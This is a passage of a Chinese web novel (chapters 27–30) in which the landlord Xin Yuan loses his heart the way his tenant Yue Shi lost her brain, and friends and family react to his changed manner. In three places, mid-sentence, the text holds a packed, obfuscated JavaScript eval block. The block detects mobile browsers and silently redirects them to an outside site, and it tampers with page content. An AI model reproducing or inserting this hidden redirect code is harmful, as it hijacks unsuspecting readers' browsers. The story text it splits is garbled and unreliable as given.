“租户们出现在我家没人会在意。 “但我到单身异性租户家中坐一会儿,可能有些人就要多想了。 “尤其我与你之间,本身就有那么点绯闻。” 岳矢无所谓聊天的地点,跟着辛远走进他家,问: “所以你是更在意绯闻,还是幻觉?” 辛远: “自然是幻觉。 “重复看到同一个幻觉,如果你能证明你没有动手脚,那我可能就需要去检查一下我的精神状况了。” 岳矢: “这事在我与你之间不是已经有定论了吗? “你已经信了呀。” 辛远: “但我突然发现,从科学的角度,是可以解释这幻觉的。 “所以,之前的信就动摇了。” 岳矢: “真是坚定。 “我可以每天让你看几次空颅腔。 “你随时提出想看,我就随时可以让你看到,这样足够证明我没动手脚吗? “或者你指定几个人,我让他们也看到我揭开头盖骨的样子,这能证明你没幻觉吗?” 辛远: “……好像确实可以证明?” 岳矢: “所以你非要说服自己‘我在骗你’的思路本来就很奇怪。 “‘相信科学’的前提不该是‘尊重现实’吗? “当现实不符合你的固有认知时,你为什么非要催眠自己是现实错了,而不是接受你曾经的认知有误、需要纠正呢? “如果只是一时不能接受也就罢了,这都几个月了。 “你一度勉强接受,逐渐平静面对,现在却又再次推翻,重新变为不接受…… “显得卑微又可怜。 “像是抓着救命稻草不肯松手。 “可这个你以为的‘常识认知’又算什么救命稻草呢? “你究竟是把自己的世界观放在一个怎样脆弱的东西上?” 辛远: “……骂得很好。 “但这么有条有理的骂,好像显得你过于有脑子了。” 岳矢又快速地开合了头盖骨一次。 次日辛远去检查了脑部。 第三天又去检查了精神。 现有检查手段给出的结果都是他很正常。 但在拿到所有结果的当天,辛远却反而越发不安心。 比前两次见到岳矢空颅腔后的世界观崩裂更加不安心。 明明“接受”或“不接受”只是个二选一的问题。 明明无论是以幻觉为理由坚守原本的世界观,还是彻底重塑世界观,都是辛远自认为可以做到的事情。 明明作为一个从小看各种幻想故事长大的人,辛远从不觉得自己会接受不了妖魔鬼怪外星人成真。 但辛远就是感觉…… 27.27 ☆、空胸腔 现在好像已经不是他想不想、愿不愿、甚至能不能接受的问题。 而是…… 好像即将发生什么。 心跳越来越快。 比第一次将岳矢误认成鬼、被她的空颅腔吓得惨嚎时,心跳得更快。 快到辛远失眠了。 然后在凌晨三点时,辛远突然感觉胸口一凉。 他低头看去,看到被子被掀开,他的睡衣也敞开,而他坦露的胸口处开了一扇门。 一扇以他的皮、肉、骨头构成的门。 辛远没有感觉到丝毫疼痛。 门内也没有任何血液流出。 只是,跳出了一颗心脏。 心脏跳出来后,辛远胸口处的门像自动开启时那般,又自动关闭。 接着,辛远眼睁睁看着那颗心脏从他的床上蹦到床边小桌上,再蹦到窗台上,最后蹦向窗帘,消失了。 辛远愣了好几分钟。 然后醒神,走下床,拉开窗帘。 辛远睡觉时,一般是开着窗,但关着纱窗。 纱窗上的细孔自然不可能让一颗人类心脏穿过。 但现在辛远到处都找不到那颗从他胸腔中跳出来的心脏了。 一股逐渐变淡的气味告诉辛远,他的心脏正在远离他。 它不仅能穿墙,还能隐身。 它可以在大街上、在人群密集处轻松跳动。 只要它不想,它就不会被除辛远之外的任何人发现。 而唯一能闻到它气味、看穿它隐身罩的辛远,会被它远远避开。 除非有一天这颗心脏腻了外面的世界,否则,辛远永远都不能抓到它。 辛远打开灯,走到镜子前,手按上自己的胸口,轻轻一扯那处的皮肤。 那扇门再次开启。 辛远看到了自己空荡荡的胸腔。 和岳矢的颅腔是相似的空。 没有伤口。 没有流血。 就只是…… 空了。 辛远关上胸腔。 天亮后,他去检查心脏、检查精神。 所有检查结果依然显示正常。 辛远一边看检查报告,一边对着镜子看自己的空胸腔,知道肯定有哪里出了问题。 且,无论是他疯了,还是这世界出现了一种会让人失去器官却以现有技术检查不出来的疾病,这问题都很大。 可这时的辛远却出奇的冷静。 比怀疑岳矢的空颅腔是幻觉、相信那是真实、再次怀疑那是结合幻觉的骗局这整个过程中的每一天,都更加冷静。 丝毫不心慌。 辛远:应该的。毕竟我已经没有心了嘛。 自我调侃完毕后,辛远猛然意识到,岳矢调侃自己没脑时可能也是这种感觉。 陈述一个事实。 并觉得这一事实很有趣。 如果别人也如此调侃自己,自己甚至可能会产生一种优越感: “对呀,我就是没有,我还以之为傲。 “你们都不知道没了脑子/心之后,世界变得有多简单。” 对于无脑的人,几乎没有任何事情值得烦恼。 对于无心的人,遇到再糟糕的事情都不会心慌意乱。 辛远确信,现在的自己如果再突然遇到飘动的女鬼,女鬼还给他表演个抛接脑袋什么的,自己肯定不会惨叫。 连眼睛都不会多眨一下。 辛远特别留意了猫看到现在的他时的反应。 和岳矢说的差不多,猫似乎觉得他奇怪,看向他空胸腔时的眼神有些意味深长。 它们并不怕他,但好像有些嫌弃。 辛远还注意到岳矢没提过的狗的反应。 多数狗应该都没有察觉他的异样,但有那么一两只好像感觉到了,却又似乎因为无法确定,于是面对他时会显得有些焦躁。 这让辛远想起来曾经那位只被一只狗不待见的租户。 辛远去找岳矢,给她看他的空胸腔。 岳矢的第一反应却是: “你这次不介意较长时间待在我家、与我孤男寡女相处了吗? “为什么不是让我去你家再给我看?” 辛远: “啊,没了心之后,感觉那种小事完全不值得介怀了。 “就算因此被传了绯闻,甚至干脆被别人认定我与你是一对恋人,对我又有什么影响呢? “难不成我还真会与你结婚?” 岳矢: “对嘛。 “就应该这样。 “很多事情其实都是自寻烦恼。” 辛远: “只要没有心,就没有事情能让我烦心。” 岳矢: “那么你以后还会继续充实你的《租户要求》吗?” 辛远: “会。 “对有些事情,仔细斟酌属于‘没必要的自寻烦恼’。 “但对另外一些事情,如果不提前权衡好,会变成现实存在的麻烦。 “如果不好好筛选、约束,有些租户的下限可能低到超出你的想象。 “我得杜绝那些麻烦。 “不过,以后我也许可以做得更冷酷一些。 “毕竟,我已经没有心了。” 不久后,班玖来续约交房租时,带着些小心翼翼态度地问辛远: “辛哥,我…… “就随便问一下,你不想说就不说。 “就是那个,你…… “是不是遇到了什么麻烦? “如果有我能帮忙的地方,你说一声,我还是愿意力所能及地帮一帮的。” 辛远: “我的变化很明显吗?” 班玖: “自从你连续几天跑医院后,整个人就好像不太对了。 “是……查出了什么吗?” 辛远: “医院倒是没查出什么。” 班玖放下些心:不是得绝症了就好。 辛远: “不过我自己知道,我没有心了。” 班玖: “……啊?” 辛远点了点自己的胸口,以相当坦荡的态度说: “不知道是不是被岳矢的无脑症传染,我的心脏也离家出走了。 “如果这真是一种传染病,你们这些经常与我接触的人可要当心了。” 班玖: “……我在担心你,你给我编段子?” 辛远: “对,就是这种不相信的态度。 “我现在猜测,它可能是促使传染现实化的条件之一。 “另一个条件应该是亲眼所见。 “为了不让你也失去某个器官,我就不给你看证据了。 “不看见,应该就能不触发失去。” 班玖: “喂,你的表情有点诡异啊……” 辛远: “我现在应该很平静才对。” 班玖: “就是平静到诡异啊。 “讲这种鬼故事时,你应该摆出神秘脸才对。 “这么一脸平静的…… “显得你精神好像有问题。” 辛远: “这种传染病,是现有医学技术检查不出来的。 “当我打开我的胸口,我能清清楚楚地看见我胸腔内已无心脏。 “但当我合上胸口、走进医院,仪器检查结果竟显示,我的心脏还好好地在我的胸腔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266170|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内跳动。” 班玖抓住辛远的手,摸他的脉搏。 很好,跳得很正常、很规律。 班玖收回手,拍拍辛远的肩膀,说: “这是你与岳矢的情侣游戏吗? “现在是邀请我成为你们play中的一环? “谢邀,我拒绝。 “但我尊重你们的癖好。 “祝你们玩得开心、百年好合。 “再见。” 辛远目送班玖离开,远方的心脏没有传给他任何波澜的情绪。 辛远自言自语: “这种感觉真的很不错。 “每时每刻都是宁静的。” 带着这份宁静,辛远去见了与他血脉相连的亲人们。 亲人们都表示了诧异。 因为自从老爷子去世后,他们这些辛家人连过年都不想见面。 总觉得一见面就会相互强化破财运。 特别不吉利。 现在他们辛家最有希望保住财产的人来探望他们,难道…… 最后一个希望之光也保不住了? 倒也不是不能接受。 反正这年头,在这座城市里,只要自己肯挣扎,想物理意义上地饿死冻死就不太可能。 于是败光家产,那就败光吧。 早已有心理准备了。 大家都承受得住。 辛远第一个见的是自己的亲爸,也就是辛家二代中排行老四的这位败家子,圈子里都称他辛四。 在辛家二代们还年轻时,辛家在富人圈子里是有点份量的。 辛四等称呼也是带着敬意的。 当然现在嘛,基本上除了戏谑就只剩嘲弄了。 辛四见到儿子后,愣了一会儿便自觉懂了,立刻熟练安慰: “没事啊,我这儿还有点钱。 “马上转给你。 “无论如何,吃饭肯定是够的。” 辛远: “不用转。 “我房还在,整栋楼、每一套都在我手上,存款也没有减少。” 辛四: “哦……那…… “什么事?” 辛远: “本来我觉得,以我们的父子关系,我用你当试验品应该完全不会愧疚。 “毕竟这件事情,虽然有点奇怪,但目前还看不出害处。 “反而好像很有利于心情舒畅。” 辛四: “我觉得我心情一直挺舒畅的。” 辛远: “在发生之前,我也一直以为我的生活顺顺利利,没有不舒服之处。” 辛四: “小子,你该不是真也想投资点什么了吧? “虽然现在、此时此刻你的楼还在你手里,但你打算、即将卖? “虽然你非要卖的话,我们也没立场拦你,但…… “要不你再考虑考虑? “毕竟全家都以为你那楼可能是我们最后的退路了。” 辛远: “放心吧,楼我是肯定不会卖的。 “现在没卖,以后也丝毫不打算卖。” 说完之后,辛远自己笑起来,又说: “确实应该彻底放心了。 “我都把自己的心外置了,以前便坚定的那些事情动摇的几率肯定更小了。” 辛四满脸严肃,比刚刚猜测儿子可能要败光家族退路时更严肃: “你的精神状态……” 辛远: “刚查过,正常。” 辛四更担忧了: ”要是真完全没问题,你没事怎么会想起来查这个? “所以是有点征兆了对吧? “只是还没达到病理的标准。” 28.28 ☆、暂时的不太正常 辛远: “算了,我还是另挑试验品吧。” 在看望同辈的大堂姐辛逸时,辛远问: “你有没有想将你的某个器官赶出家门? “我是说,在保证它离开后你的身体健康不会出任何问题的前提下。” 辛逸: “赶走肥肉?” 辛远: “唔,不知道这个算不算在可赶的范围内。” 辛逸: “要不赶走胃? “如果真不影响健康的话。 “没了胃,就不会饿,不会大半夜想加餐了吧? “其实对很多垃圾食品我并不认为好吃。 “至少不值得经常吃。 “但大半夜不吃就是会觉得胃里空荡荡的难受。” 辛远: “那你想尝试一下吗? “我这里有一个也许可行的驱赶方法。 “可能需要你经历怀疑、相信、再怀疑的流程。 “这个还不确定,也许纯粹的怀疑积累足够长的时间也能凑效。 “总之,全程时间大概得好几个月。 “但也有可能我们能试验出更效率的方法。” 辛逸: “小弟呀,你在说什么?” 辛远: “算了。 “也不适合挑你当这个试验品。 “万一出事,我即使没心也会不舒服的。” 辛逸: “啊?” 辛远访了一圈亲戚,最终一个都没能下手,于是转而将目光锁定在自己的狐朋狗友们身上。 祸害他们,辛远觉得自己应该真不会良心不安。 要不从付来顺开始? 没等辛远动身,王阿姨拉着他,忧心忡忡地说: “小辛啊,你如果遇到什么难事,要说。 “我们这么些人都是看着你长大的,你要遇到事儿了,只要我们有能力帮,我们就肯定愿意帮。” 辛远: “我现在看起来非常不对劲吗?” 王阿姨: “明显跟正常的你差别很大呀。 “你最近没再跑医院了,应该不是身体问题。 “所以,你是谈了糟糕的恋爱,然后失恋了? “别绝望,你想想无论如何你还有一栋楼啊。” 辛远: “赵阿姨有没有说过,岳矢在与她前房东闹翻前后,性情大变?” 王阿姨: “啊? “没有吧。 “老赵一直都说小岳是个文静的小姑娘。 “顶多就是闹翻之后,岳矢好像显得更强势了一些。 “但这个是没办法的。 “一个小姑娘独自居住,不立起来只会不断遇到她前房东那样的人。 “小岳来我们小区安定下来后,发现邻居、房东都好相处,不又安静内敛回去了嘛。 “怎么突然提小岳? “难道让你失恋的人是小岳? “应该不会吧?小岳看着不像是渣女啊。 “而且你和小岳经常在我们眼皮子底下互动,如果真有恋情,以我们丰富的阅历,不可能发现不了。” 辛远: “岳矢渣不渣我不知道,但我不太可能跟她谈恋爱。 “不,应该说,现在没有心的我应该已经丧失了谈恋爱的资格。 “当然,我并不为此难过。 “那完全不重要。” 王阿姨: “说什么呢?” 辛远: “一些奇奇怪怪的年轻话题。” 王阿姨白了辛远一眼。 辛远: “您放心,我要是真有事,一定第一个告诉您。 “我一直都觉得,你比我亲妈都亲。” 王阿姨: “说好了啊,有事千万别自己扛。 “只要身体健康,那么很多事情,其实都能解决,没有严重到天崩地裂。 “大家商量商量,总能有办法的。” 辛远: “对,没什么大不了的。” 王阿姨: “所以,你身体确实是健康的吧?” 辛远: “至少检查结果显示很健康。 “要给你看体检报告吗?” 王阿姨: “不用看。 “你说我就信。 “你总不可能拿这个骗阿姨吧?” 辛远: “当然不会。 “我们之间这点信任度肯定是有的。” 辛远找到了付来顺,手按上了胸口。 接着辛远后知后觉地意识到,他露出胸腔比岳矢露出颅腔要麻烦很多。 因为他穿着衣服,露胸腔首先得脱衣服。 而现在是大冬天。 辛远感到奇怪。 他失去的明明是心而不是脑子,怎么会现在才想起来这个? 如果说面对亲人时没想起来是因为,他从一开始就并非真想拿他们当试验品,也就是没有真想给他们看空胸腔。 那么,他确实给岳矢看过,但那时为什么也没有感到麻烦? 辛远一时想不明白。 只能先归结为:岳矢作为更早失去器官的前辈,情况特殊。 但基本可以肯定,付来顺是除岳矢之外,他第一个真心想给其看空胸腔的对象。 辛远:果然是狐朋狗友的良好关系。 付来顺看着辛远一会儿抚胸口、一会儿皱眉的样子,莫名其妙: “干嘛呢你? “你应该知道的,我跟你们这一群人,只喜欢集体聚会,并不喜欢一对一相处。” 辛远思考,是让付来顺把空调温度开高些,他脱个衣服…… 还是,等夏天穿着宽松T恤时再找试验品? 可能,他应该花几个月的时间来思考一下,他究竟要不要找试验品。 究竟要不要把这不知好坏的器官离家出走病再传给其他人。 辛远: “不试验就确定不了传染的条件。 “但想要试验出条件,仅仅几个试验品怕是远远不够。” 付来顺: “喂。” 辛远转头离开,只给满头雾水的付来顺留下一句: “你当我今天发神经吧。” 付来顺的雾水转为火气: “有病就赶紧去治!” 辛远也在反省,自己这样究竟算不算有病。 虽然各种检查的结果都说他没病,但正如现有技术检查不出他没了心脏、岳矢没了脑子这般,他也可能还患了其他同样检查不出的病。 岳矢认为: “应该只能算性情变得古怪了吧? “但怪人与病人显然是两回事。” 辛远: “但有些种类的怪,是被放入精神病中的。” 岳矢: “我没详细学过这方面的知识,但我想正经的精神科医生是不会轻易判定谁有病的。 “诸如网瘾等症状,好像只有野路子圈钱骗子才将这说成很严重的‘病’,还用非常严苛的手段去‘治疗’。 “正经科学通常都应该是包容的。” 辛远: “你发呆的频率是不是在不断降低? “即使你的脑子依然流浪在外,但你的思考能力已经无限接近它位于你颅腔内的时候?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277419|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>岳矢: “好像是。 “这大概意味着我脑子与我身体的远程信息交流能力在不断增强吧。” 辛远: “所以我也会逐渐恢复为有心脏的我的样子? “我近期这种熟人都能看出我有异常的模样只是暂态?” 岳矢: “你想要恢复吗?” 辛远: “对我自己来说,我感觉有心和无心的我生活舒适度都差不多。 “可能无心的我会少操心一些事情。 “但即使在有心状态下去操心,那些事情对我也从来算不上负担。 “都是随便想一想、尝试做一做而已。 “因为成功与否都没关系,所以自然形不成压力。 “我这辈子遇到的最大烦恼应该就是你。 “但即使是你,我觉得也没到我想要舍弃我的心脏的地步。 “哪怕在心脏刚离开我时,我是感到了轻松。 “但这种轻松,偶尔有一点就行了,没必要持续。 “我觉得人还是要有所负担、有所思考,才像活着。 “不然跟个摆件有什么区别?” 岳矢: “当摆件有什么不好?” 辛远: “起码那不是我的追求。” 在心脏离家出走一个多月后,辛远的邻居们都欣慰地说: “小辛好像走出阴影了。 “失恋的后劲儿总算过去了。” “我早说了,对现代人,恋爱只是调剂,只要不结婚,影响就只可能是暂时的。” “又来反婚言论。” “主要是,恋爱只是感情问题,结婚就是财产问题了。 “感情不能当饭吃,钱却决定了人能不能吃饱吃好。” “失恋只会影响一时的心情,没钱指不定能逼人走上绝路。” 辛远笑着回应: “不要造谣啊,我已经连续快一年没谈过恋爱了。” 邻居们: “好吧,是其他小烦恼的阴影终于过去了。” 辛远: “这个形容…… “好像还挺贴切。 “我发现有些烦恼只要不放到心上,就可以等于不存在。” 邻居们: “大而化之、万事不上心的人确实容易活得更轻松。” “不过操不操心也不完全是人主观能控制的,有些是天性。” “有些人啊,就是操心的命。 “一天不操心反而浑身不舒服。” 辛远若有所思: “如果有方法可以做到强制不操心、让人暂时体会到什么都无所谓的放心感,也许有的人会很乐意试一试吧? “如果尝试之后感觉不舒服了可以恢复到从前,那就更完美了。” 邻居们: “靠催眠吗?” “暂时封印原始性格、植入新性格?” “听着像骗子。” 辛远: “我也觉得很诈骗。 “尤其正经机构完全检测不出来。” 邻居们: “等等,你之前一段时间情绪突然变得不太正常,不会真跟恋爱无关,而是去尝试了这种催眠吧?” “那好像还不如谈了一段糟糕的恋爱。” 辛远: “并没有。 “没有恋爱,也没有催眠。 “不过…… “也许也可以算是体验了一点不太常规的免费项目。” 邻居们痛心疾首: “免费的你也敢随便体验? “那都是诱饵啊。” “完了完了,我们小区终于也要出现诈骗受害者了。” 29.29 ☆、做不出最后一步 王阿姨: “我告诉你辛远,你要是被诈骗了,我肯定会在小区门口拉横幅把你的事情通知周遭所有人。 “别指望我在这件事上给你留面子。 “这附近认识你的人多,以你为案例肯定能引起广泛的讨论,警示效果会很好。” 辛远: “别这么期待,我还一分钱都没有被骗走。” 邻居们: “如果只是被骗点小钱对你其实无所谓。” “但要是你这栋楼被骗走……” 辛远: “你们放心,这是我的底线。 “哪怕我失心疯且被传染了无脑症,我也绝对不会丢失底线。” 王阿姨发愁: “唉,这斩钉截铁的语气…… 旁边的年轻人: “太像立flag了。” 当时间又过去了一个月,认识辛远的人都不再提他性情有所变化的事情。 辛远自我感觉他好像没了刚失去心脏时的放空感。 不过,辛远认为这也有可能是因为他在逐渐遗忘胸腔内装有心脏时的充实感。 总之,单从外在表现看,辛远及辛远周围的一切似乎都恢复了正常。 辛远依然是众人认识的那个提前进入养老生活、给租户们立了很多规矩的房东。 只有辛远的大堂姐辛逸悄悄问辛远: “你之前提的那个赶走胃以实现减肥的法子,不管是不是诈骗环节的一部分吧,我能不能尝试一下?” 辛远: “……” 辛逸: “哎,小远子,你给姐说老实话吧,你是不是尝试过他们的取走心之类的项目? “虽然最终你发现那些项目都是利用某些方法让你产生了错觉。 “但在项目进行的当时,‘错觉’的感觉很真对不对? “那帮骗子在行骗的初期很下功夫、很能带给人身临其境之感对不对? “我想体验一下这个初期部分。 “被他们骗走点钱都行。” 辛远缓缓开口: “大堂姐啊,你就是那种,明知面前是杀猪盘,也会主动跳进去参与几轮的人吧? “信心十足地认为自己有能力在盘结束之前反向捞一笔。” 辛逸: “我有分寸。” 辛远: “你有个屁的分寸。 “我们辛家这两代人的基因里就没那玩意。 “在投资方面,我们只有‘不碰’与‘亏本’这两个选项。 “你敢说二三十年后、当你上了年纪时,你名下依然有至少一套别墅?” 辛逸: “你也别那么自信。 “说不定二三十年后,楼没了、需要我收留的人是你。” 辛远: “我最多是失心,还没失智。 “你才是小心别因为被叫太多姐姐,而对谁产生多余的怜惜之情,然后把棺材本都赔出去。” 辛家的两位亲戚再次不欢而散。 再次证明他们这一家子,没事就不应该见面。 当然,有事时即使见面也基本解决不了任何问题。 辛远的狐朋狗友们之间自然也传开了辛远的失心小问题。 而他们的理解是: “辛远啊,你该不会是体内辛家的血脉发挥作用,准备投资些什么吧?” “投资催眠项目?” “打着让人放松的旗号圈钱?” “这一个弄不好可不只是赔钱的问题,还可能会犯法吧。” “辛远,你要想清楚,你们辛家这两代人虽然是干什么赔什么,但还真没犯过法。” “连最常见的偷税漏税都没有。” “你可不能从你们辛家‘保底的希望之光’大幅降级为‘突破底线第一人’啊。” 辛远: “大概要让你们失望了,我的楼赔不出去。” 付来顺: “看你这恢复正常的样子,应该是确实放弃那项不靠谱的投资了。” 米笙堇: “哎,为什么你们都把事情想得那么复杂呢? “难道不是因为岳矢有了‘无脑’的标签,于是辛远为了般配,便给自己弄出‘无心’的标签吗? “为了让新标签深入人心、被很多人提起,所以辛远不是口头上宣布一下,而是花上个把月仔仔细细演了一场。 “无论这是爱情、友情,还是房东与租户情,都足够感天动地啊。” 辛远: “姓米的,我记得你谈恋爱是走肾不走心。” 米笙堇: “那是我。 “但以我丰富的经验,我觉得你很适合走心。” 辛远: “也要让你失望了,我已无心。” 焦萄: “岳矢说自己无脑时有一种一本正经的喜感。 “辛远你说自己无心时,怎么就只有一种不敢面对真实自我的嘴硬感呢?” 辛远: “那当然是因为你们的判断过分自我中心,对岳矢以及我的看法都充满了偏颇啊。” 逐渐的,辛远又开始能操心很多事情。 胸腔中虽然依然无心,但思考却似乎反而越发严密。 证据之一是,辛远制定的那份本就被抱怨很长的《租户基本要求》,在短短两个月内长度几乎翻了倍。 而且,本来因为多次补充而显得相当凌乱的顺序也被重新整理。 还将很多口语化的表达改得较为书面化。 并加上了“一、二、三……”“1、2、3……”“①、②、③……”等多层序号。 让整份文件看起来更有条理。 却也更冷冰冰。 班玖: “书面化就书面化,怎么还增加了岳矢写材料用的套话? “比如‘基于此’‘根据……原则’‘考虑到……客观需求’这些。” 辛远: “这算什么套话? “只是基本的衔接句而已。” 班玖: “是啊,岳矢洋洋洒洒把一件小事写出千八百字时,就离不开这些衔接句。 “你真没找她代写?” 辛远: “不能开这个头。 “这楼是独属于我的资产,我不会让任何人插手。 “一旦开始让别人帮我个小忙,不久后我可能就会习惯那个别人帮我规划这楼相关的更多事情。 “甚至某一天,我可能与其商量该不该卖房。 “不能商量。 “这事没有商量的余地。 “我只需要记住无论如何都不卖。 “当然,是在我自己没有遭遇生命危险的前提下。” 班玖: “好像又是一个flag?” 辛远: “以前我会秉持宁可信其有的态度回避提一些事情。 “但现在,我是真无所谓了。 “只要事情符合逻辑就行。 “直觉、感情什么的……” 辛远摸了摸自己的心口,总结: “都是没有存在价值的迷信。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285402|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >班玖盯着辛远的胸口,说: “我们理性探讨一下,‘直觉’‘第六感’‘情绪’这些事,究竟归哪个器官管? “我以为是大脑,但你觉得是心脏吗?” 辛远: “归激素管。 “而激素以心脏为核心流动。” 班玖: “说得跟真的似的。 “在宣称自己无脑无心上,你现在跟岳矢一样入戏。” 辛远: “这种感觉很奇妙。 “坦然承认自己失去一个器官,然后发掘与这一器官相关的人体功能,再逐一确认失去、淡化…… “会感觉整个人焕然一新。 “你有兴趣试试吗?” 班玖: “一种新流行? “不了,谢谢。 “我是一个古板守旧充满惰性的人,从不追逐流行。” 辛远: “也好,至少有利于精神稳定度。” 班玖: “……所以说,房东,你现在的精神真的还在正常区间内吗?” 辛远: “谁知道呢。” 自从心脏跑远之后,辛远屡屡想要给别人展示自己的空胸腔,想要尝试引导其他人也变得和他一样失去点器官。 但每一次却都在最后一步放弃。 明明只要他脱掉上衣、揭开胸腔,就能让对方吓一大跳。 进而促使其仔细思考“无心”“无脑”的事情,再之后则可能变为他的同类。 但辛远就是不能实际做出这最后一步。 就是只能做到截至“口说自己无心”的步骤。 辛远向前辈岳矢请教: “你对我揭开头盖骨时,为什么能没有丝毫犹豫?” 岳矢: “这个问题我后来还真仔细想了想。 “应该是因为你身上残留有我脑子的气味。 “我一直没对其他人揭头盖骨,不仅是因为我同意你的保密看法,也因为像你感觉到的那样,每次在即将揭开之时,我都会莫名停手。 “不是害怕揭开,也不是理性权衡后觉得不应该揭开,主要就是…… “不想做这一步。 “我觉得,当初我对你之所以能揭开得那么干脆,应该是因为你身上我脑子的气味让我先入为主地将你当作了我的同类。 “对同类展示共同点自然不需要迟疑。 “不过只有当我们遇到下一个沾染了我脑子或你心脏气味的人时,才能判断这事是否真如我想的这般。” 辛远: “同理,只有当我们遇到下一个失去器官的人,我们才能确定‘器官脱离身体而身体毫无异状’的前提条件是什么。 “现在我估计是要经过‘怀疑、相信、再怀疑’的流程。 “至少也得是‘持续较长一段时间的怀疑’。 “但也许实际上不用这么麻烦。 “也许只要‘见过前一个失去器官的人的空腔满一定时间’,就会自动也失去器官。 “也许无论在此期间有没有仔细思考过这事、对此有没有产生过怀疑或烦恼等情绪,都不影响结果。 “也许思考、情绪都不是必须的。 “至于最终失去的是哪一个器官,应该与此人在这段时间内最关注的事情有关。 “比如我堂姐如果一直想着减肥,便有可能如她所愿失去胃。” 岳矢: “为什么不直接失去肥肉呢? “这才是你堂姐最直接的愿望。 “失去部分肥肉也可以外在看起来不明显。” 30.30 ☆、周年探亲 辛远: “一旦开启失去,能选择只‘部分’失去吗? “我的心脏可没给过我机会选择只失去半颗心。” 岳矢: “但肥肉的分布毕竟比心脏零散很多。 “说不定就能选择了呢?” 辛远: “不用怂恿我。 “我现在没心了,自然也没好奇心。 “我不会只因为好奇而去主动感染我堂姐的。” 岳矢: “但你还有脑,就应该还有研究欲。” 辛远: “欲望归脑子而不是心管吗?” 岳矢: “我确认我还有一点好奇心。 “不过好像没有失去脑子前强烈。” 辛远: “我也确实并非无欲无求。 “但很多事情都好像很淡了。 “甚至我感觉,如果我失去我的楼,我虽然会有些难过,但在存款花光之前,好像并不会太影响我的生活节奏。” 岳矢: “要验证看看吗?” 辛远: “说了怂恿没用。 “无心的我虽然不会对‘失去一些东西’感到害怕,但更不会产生强烈的作死冲动。 “一切都淡了,一切都不太有所谓了,正适合平平静静地生活。 “也正是我已经习惯的提前养老生活节奏。” 班玖与家里人关系不好,所以住在辛远的楼里多年上门对班玖进行探亲的人屈指可数。 且那寥寥的几次也每次都被班玖快速打发走。 但岳矢的家庭关系是比较正常的。 岳矢单纯是因为在这个城市里读大学,且这里的工资水平比她老家强,所以她毕业后才留在了这里工作。 将来有了一定存款后,不排除岳矢会回老家。 岳矢的父母和几个关系比较好的亲戚来看过岳矢的居住条件。 还对辛远这个房东以及王阿姨等小区内的热心人士表达了感谢。 从他们的口中,辛远得知,岳矢虽然自小就是偏安静的性子,但以前她是多愁善感式的安静,而现在…… 岳矢妈: “心放宽了很多。 “不会自寻烦恼了。 “果然,走进社会就不会有那么多伤春悲秋的情怀。” 岳矢纠正: “不是放宽了心,而是扔掉了脑子。 “我已经确信,日常生活很多时候都不需要用脑。” 岳矢妈对小区内的其他住户们感叹: “瞧瞧,都会自嘲了。 “以前这孩子可不喜欢别人说她‘虽然不聪明,但很努力’。” 岳矢: “我现在也不喜欢别人说我‘只有努力’。 “我喜欢别人说我‘哪怕躺平也能过得很好’。” 王阿姨对岳矢妈说: “现在的年轻人都追求这个,‘躺平’。 “而要说躺平的话,辛远简直就是人生赢家。 “所谓‘他的起点便已经是无数人可望而不可即的终点’。” 岳矢妈与王阿姨等人聊得挺好,但不知道为什么,她面对辛远时总是有些拘谨。 可要说这是年龄代沟造成的吧,她与班玖聊天时就挺放松。 班玖对辛远说: “不过她并不是单针对你。 “她面对你那几个富二代朋友,还有齐促辉时,也挺拘谨的。” 岳矢: “简单说来,我妈就是有点怕有钱人。 “尤其当她听说辛远这栋楼价值上千万、齐促辉月收入能达到五六位数后,就更觉得她与他们不是一个世界的人。” 班玖: “……所以阿姨盖章我是个穷人吗?” 岳矢: “不,只是普通人。 “跟我的收入层次差不多吧。 “当然,我会纠正她这个错误认知,你的收入应该还是比我高的。 “至少王阿姨这么暗示过。” 班玖: “嗯……其实我在你这个工龄时,收入确实跟你差不多。 “然后一路混资历,到现在也确实算不上高薪。 “跟齐促辉那种精英差距明显。 “跟辛远这种坐拥千万家产的人更不在相同层次。 “话说齐促辉还不打算搬走吗? “他那月收入五六位数只是常规情况,有几次大项目成功,我怀疑他的奖金达到了七位数。 “因为我碰到过他查看缴税情况。 “当时他那一脸牙疼的模样,与日常提到交个税时很不相同。” 辛远: “别羡慕,拿命拼的。 “哎,等等,你的重点是,齐促辉住我这里,他的同事偶尔来找他,挺让他丢脸的是吧?” 班玖: “反正他就是与那些配有完善物业、景色优美的小区更搭配。 “而我们这小区,门口有点乱的垃圾桶、各处的横幅标语,尤其天天在院子里聊天的中老年,实在都太接地气了。 “一点儿都不精英。” 